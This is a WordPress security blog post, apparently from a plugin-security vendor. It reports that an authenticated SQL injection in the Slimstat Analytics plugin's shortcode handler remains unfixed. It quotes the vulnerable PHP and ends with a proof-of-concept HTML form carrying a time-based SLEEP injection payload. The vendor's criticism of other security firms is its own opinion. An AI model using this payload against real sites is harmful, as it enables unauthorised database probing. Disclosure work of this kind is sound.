16 Mar 2023

Our Firewall Plugin Caught That Jetpack’s “Internal Audit” of Slimstat Analytics Missed That Vulnerability Still Exists

Recently Automattic’s Jetpack claimed to have done an “internal audit” of the WordPress plugin Slimstat Analytics and found an authenticated SQL injection vulnerability that was subsequently fixed. We don’t know what an internal audit is supposed to be, but they failed to fully test or check over the vulnerable code and the authenticated SQL injection vulnerability still exists (which isn’t that surprising, considering the discoverer is a former employee of Sucuri). They also missed another security issue in the relevant code, which helped lead to the vulnerability still existing. Interestingly, an in development feature of our firewall plugin caught that the issue hadn’t been fully resolved.

Another Automattic unit, WPScan, also missed that this wasn’t fully resolved:

(Automattic doesn’t seem to be very good at security, contrary to the common perception).

Wordfence and Patchstack falsely are telling their customer the vulnerability has been resolved:

Firewall to the Rescue

For some time we have been developing a capability for our firewall plugin to provide protection against SQL injection vulnerabilities, not by looking for keywords in input that might suggest that SQL injection is being attempted, but by checking SQL statements that are about to be executed. This is a more advanced approach, but is one that needs a lot of testing to get it to the level that we would include it in the plugin.

One benefit of that approach is that if it is working properly it makes it easy to test out SQL injection vulnerabilities while we are adding them to our data set.

According to Automattic’s Jetpack and WPScan, the authenticated SQL injection vulnerability was supposed to have been fixed in version 4.9.3.3 of the plugin. When we tested the proof of concept, which they belatedly released weeks after disclosing the vulnerability, with the previous version of the plugin, the firewall blocked the request. But curiously, when we upgraded to the version of the plugin that was supposed to fix this, it still blocked the request. So either there still was a vulnerability or there was a bug in the protection.

Looking into this further, we found that the SQL injection vulnerability hadn’t been fully resolved and there was another security issue at play, which Jetpack didn’t note..

The vulnerability involves the plugin’s slimstat_shortcode, which causes the function slimstat_shortcode() in the file /wp-slimstat.php to run. The function first takes user input from shortcode attributes and sets them to variables without any sanitization or validation:

746
747
748
749
750
751
752
public static function slimstat_shortcode( $_attributes = '', $_content = '' ) {
    extract( shortcode_atts( array(
        'f' => '',	// recent, popular, count, widget
        'w' => '',	// column to use (for recent, popular and count) or widget to use
        's' => ' ',	// separator
        'o' => 0	// offset for counters
    ), $_attributes ) );

That code uses the extract() function which WordPress’ coding standards are quite clear you shouldn’t use.

One of those inputs is passed to the function count_records() from the file /admin/view/wp-slimstat-db.php.

774
$output = wp_slimstat_db::count_records( $w, $where, strpos( $f, 'all') === false ) + $o;

That function then uses the input directly in a SQL statement, which is SQL injection:

650
651
652
653
654
655
656
657
658
public static function count_records( $_column = 'id', $_where = '', $_use_date_filters = true ) {
		$distinct_column = ( $_column != 'id' ) ? "DISTINCT $_column" : $_column;
		$_where = self::get_combined_where( $_where, $_column, $_use_date_filters );
 
		return intval( self::get_var( "
			SELECT COUNT($distinct_column) counthits
			FROM {$GLOBALS['wpdb']->prefix}slim_stats
			WHERE $_where",
			'SUM(counthits) AS counthits' ) );

A prepared SQL statement should have been used to help avoid this.

We have notified the developer that this hasn’t been fully resolved and offered to help them address it.

Proof of Concept

The following proof of concept will take varying amounts of time for the page to fully load depending on how long you specify MySQL sleep function to run, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress and “[sleep time]” with how many seconds you want sleep to occur for.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="parse-media-shortcode" />
<input type="hidden" name="shortcode" value='[slimstat f="count" w="author ) and SLEEP ([sleep time]"][/slimstat]' />
<input type="submit" value="Submit" />
</form>
</body>

Plugin Security Scorecard Grade for Jetpack

Checked on November 24, 2024
F

See issues causing the plugin to get less than A+ grade


Plugin Security Scorecard Grade for Patchstack

Checked on March 5, 2025
D

See issues causing the plugin to get less than A+ grade


Plugin Security Scorecard Grade for WPScan

Checked on April 12, 2025
F

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published. Required fields are marked *